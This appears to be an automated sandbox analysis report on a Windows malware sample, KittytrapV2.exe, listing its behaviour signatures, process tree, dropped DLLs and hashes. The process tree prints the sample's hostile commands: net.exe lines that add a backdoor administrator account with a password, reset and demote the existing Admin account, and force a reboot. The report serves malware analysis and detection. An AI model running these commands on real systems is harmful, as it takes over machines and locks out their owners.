Analysis

  • user interaction
    yes
  • max time kernel
    134s
  • max time network
    139s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    02/08/2026, 01:57

Errors

Reason
Machine shutdown

General

  • Target
    KittytrapV2.exe
  • Size 71.1MB
  • Sample260802-cdnm7asbje
  • SHA256 3a3e102e83a8554af3fbd990d09e6fe87d143126c4cc7352264e3e28edc50592
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Loads dropped DLL 29 IoCs
  • Modifies visibility of existing users in the login screen 1 TTPs 1 IoCs

    A user account was hidden or made visible on the Windows login screen through a registry modification.

  • Modifies WinLogon 2 TTPs 4 IoCs
  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a command shell one-liner 1 TTPs 9 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Modifies Control Panel 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • System policy modification 1 TTPs 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\KittytrapV2.exe
    "C:\Users\Admin\AppData\Local\Temp\KittytrapV2.exe"
    1⤵
    • Disables RegEdit via registry modification
    • Loads dropped DLL
    • Modifies visibility of existing users in the login screen
    • Modifies WinLogon
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:4868
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command " Add-Type -AssemblyName System.Drawing $bmp = New-Object System.Drawing.Bitmap(1920,1080) $g = [System.Drawing.Graphics]::FromImage($bmp) $g.Clear([System.Drawing.Color]::Black) $font = New-Object System.Drawing.Font('Arial', 48, [System.Drawing.FontStyle]::Bold) $brush = New-Object System.Drawing.SolidBrush([System.Drawing.Color]::HotPink) $g.DrawString('KITTY WALL', $font, $brush, 650, 480) $bmp.Save('C:\KittyImages\wall.jpg') "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1992
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c net user KittyOwner /add
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4620
      • C:\Windows\system32\net.exe
        net user KittyOwner /add
        3⤵
        • Creates a new local user account
        • Suspicious use of WriteProcessMemory
        PID:1792
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user KittyOwner /add
          4⤵
          • Creates a new local user account
          PID:5724
    • C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /c net user KittyOwner FhfbCKvEdz09RtaJ
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4368
      • C:\Windows\system32\net.exe
        net user KittyOwner FhfbCKvEdz09RtaJ
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4184
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user KittyOwner FhfbCKvEdz09RtaJ
          4⤵
            PID:4892
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net localgroup "Administrators" KittyOwner /add
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3952
        • C:\Windows\system32\net.exe
          net localgroup "Administrators" KittyOwner /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4856
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup "Administrators" KittyOwner /add
            4⤵
              PID:4840
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user "Admin" 123
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4860
          • C:\Windows\system32\net.exe
            net user "Admin" 123
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3408
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user "Admin" 123
              4⤵
                PID:4432
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c net user "Admin" /passwordchg:yes /expires:never
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1084
            • C:\Windows\system32\net.exe
              net user "Admin" /passwordchg:yes /expires:never
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3804
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user "Admin" /passwordchg:yes /expires:never
                4⤵
                  PID:716
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c net user "Admin" /active:yes
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2860
              • C:\Windows\system32\net.exe
                net user "Admin" /active:yes
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2788
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user "Admin" /active:yes
                  4⤵
                    PID:3084
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c net localgroup "Administrators" "Admin" /delete
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:4320
                • C:\Windows\system32\net.exe
                  net localgroup "Administrators" "Admin" /delete
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3904
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup "Administrators" "Admin" /delete
                    4⤵
                      PID:5344
                • C:\Windows\SYSTEM32\cmd.exe
                  "cmd.exe" /c net localgroup "Users" "Admin" /add
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:5628
                  • C:\Windows\system32\net.exe
                    net localgroup "Users" "Admin" /add
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3644
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup "Users" "Admin" /add
                      4⤵
                        PID:2584
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c shutdown /r /t 0 /f
                    2⤵
                    • Executes a command shell one-liner
                    • Suspicious use of WriteProcessMemory
                    PID:2460
                    • C:\Windows\system32\shutdown.exe
                      shutdown /r /t 0 /f
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:704
                • C:\Windows\system32\LogonUI.exe
                  "LogonUI.exe" /flags:0x4 /state0:0xa3a32855 /state1:0x41c64e6d
                  1⤵
                  • Modifies data under HKEY_USERS
                  • Suspicious use of SetWindowsHookEx
                  PID:4248
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k GPSvcGroup
                  1⤵
                    PID:3000
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k CameraMonitor
                    1⤵
                      PID:4876

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

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                          Downloads

                          Kittytrap.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\Kittytrap.dll
                          • Size 564KB
                          • SHA256 fb2503af4bb523f67c33c56e3b7309ab21898afd872d042e8edf26209189da38
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          Microsoft.Win32.Registry.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\Microsoft.Win32.Registry.dll
                          • Size 114KB
                          • SHA256 31f5a1cb2046a26c7be2e3a0a18770d8445f0c9d7213ed7365a8403fcca77ab5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Collections.Concurrent.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Collections.Concurrent.dll
                          • Size 198KB
                          • SHA256 2c2ebaea56462b348a598056f158627c14e5ee581062d780ab9ccdf2b6c695c9
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Collections.NonGeneric.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Collections.NonGeneric.dll
                          • Size 102KB
                          • SHA256 f86617cb33a02d52fb7b7102062b1f692d98067172c8e012cdfd5486b50e9496
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Collections.Specialized.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Collections.Specialized.dll
                          • Size 102KB
                          • SHA256 8ab70b670a55bde26b549aeb95c767c14b79dcfaf6f075096d9c0e84a5eae904
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Collections.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Collections.dll
                          • Size 290KB
                          • SHA256 11de530ddce2c99a0be5fcefa0e040062860cd41824834f42e06761a949af957
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.ComponentModel.Primitives.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.ComponentModel.Primitives.dll
                          • Size 78KB
                          • SHA256 85485dd7639c9449b7d90e305e66612bcd46d14bfb2c216eb6b5c1572ddec1c4
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Diagnostics.DiagnosticSource.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Diagnostics.DiagnosticSource.dll
                          • Size 490KB
                          • SHA256 44d30feb5d82c38553d63ce8b7890f0433483d17017f311de04131d68d4ff8d6
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Diagnostics.Process.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Diagnostics.Process.dll
                          • Size 322KB
                          • SHA256 786e7825067b48fd2cb9e10b1c971f547a0e83814a1a9b7951b8b64ca1e0b808
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Memory.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Memory.dll
                          • Size 158KB
                          • SHA256 a8e1263bfb450d029562302f3784fd91106d8c67f28008a5104faf91503bba3e
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Net.Http.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Http.dll
                          • Size 1.7MB
                          • SHA256 d19df85033d5a0d390432f0a7c9158bec97a5b7ce1cdc62b4f42dea81eab9911
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Net.NameResolution.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.NameResolution.dll
                          • Size 122KB
                          • SHA256 1195e6cb29f96ca9d6bfcaad1c8f5c5943c7431caa0e19152931a49255a313a5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Net.Primitives.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Primitives.dll
                          • Size 206KB
                          • SHA256 92639fa57d6ea7bbcbd47f5d108a615cafc75929f5dddda25ceae33db60e959c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Net.Requests.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Requests.dll
                          • Size 366KB
                          • SHA256 7277099c9780debcd6c64e227db064245768833918ecbc5b9a816e1b78ac2b17
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Net.Security.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Security.dll
                          • Size 650KB
                          • SHA256 0550c9d893ce86033569514d04f54eb6cb17974a2e201d091208158f57c0dc73
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Net.Sockets.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.Sockets.dll
                          • Size 518KB
                          • SHA256 e819f4accc4db69beea71884e843149b6d2a27b6404a45523ba71183e259c719
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Net.WebClient.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.WebClient.dll
                          • Size 162KB
                          • SHA256 2345c292d96ae776812dc8865148efcf57b45d280097767417fa39695fc11a4b
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Net.WebHeaderCollection.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Net.WebHeaderCollection.dll
                          • Size 62KB
                          • SHA256 c58d991a3b583a446ba25ab8d4d4c6995ac304b36719fb09e9c4d3cf9f9595eb
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Private.CoreLib.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Private.CoreLib.dll
                          • Size 15.3MB
                          • SHA256 bb9a91b896447b666487d7c6538d0e1a79dbed3604ed913315a59a7c0ec6e7c6
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Private.Uri.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Private.Uri.dll
                          • Size 250KB
                          • SHA256 d6ebdbc74e8f4df527fec1ce188822adba990a7c2e11020c89c415c80b61a34a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Private.Xml.Linq.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Private.Xml.Linq.dll
                          • Size 382KB
                          • SHA256 c028f975e4c4487a6266efe93106b17ed0e1020a1ef802efb2c971a7cabb2ad1
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Private.Xml.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Private.Xml.dll
                          • Size 7.4MB
                          • SHA256 9380bd61bfb15a0066cbf5c10f9a50729c8020d72c84a8eb37fb0074c582b392
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Runtime.InteropServices.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Runtime.InteropServices.dll
                          • Size 110KB
                          • SHA256 500ba5ed075420e8d6857bf38c79708a062f855d1ce87d505b3f1df9357806c6
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Security.Claims.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Security.Claims.dll
                          • Size 98KB
                          • SHA256 a57dc1dfd3d2cb774e517e826c05d3e81098d09cee868de4104cf6f1a8a7c4c5
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Security.Cryptography.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Security.Cryptography.dll
                          • Size 2.4MB
                          • SHA256 b11f291573c6dbd6b3d1cadcd0e7a4f7eced94ff009e4061981d91f1315f721a
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Security.Principal.Windows.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Security.Principal.Windows.dll
                          • Size 174KB
                          • SHA256 972a50bb0fb2569e1b77c20465ce8783fc53dba9c2132a33a749ef72977a4c23
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          System.Threading.dll

                          • Path C:\Users\Admin\AppData\Local\Temp\.net\KittytrapV2\ncDSn3JjDbNW\System.Threading.dll
                          • Size 82KB
                          • SHA256 7175ac06b5908412692d2c2e124cb79f58aaee61ade19bb81118d14a92bb7694
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/1992-242-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-239-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-240-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-241-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-238-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-243-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-244-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-245-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-248-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-237-0x00000202622C0000-0x00000202622E2000-memory.dmp

                          memory/1992-236-0x00007FFE6A7C0000-0x00007FFE6B164000-memory.dmp

                          memory/1992-233-0x00007FFE6A94F000-0x00007FFE6A950000-memory.dmp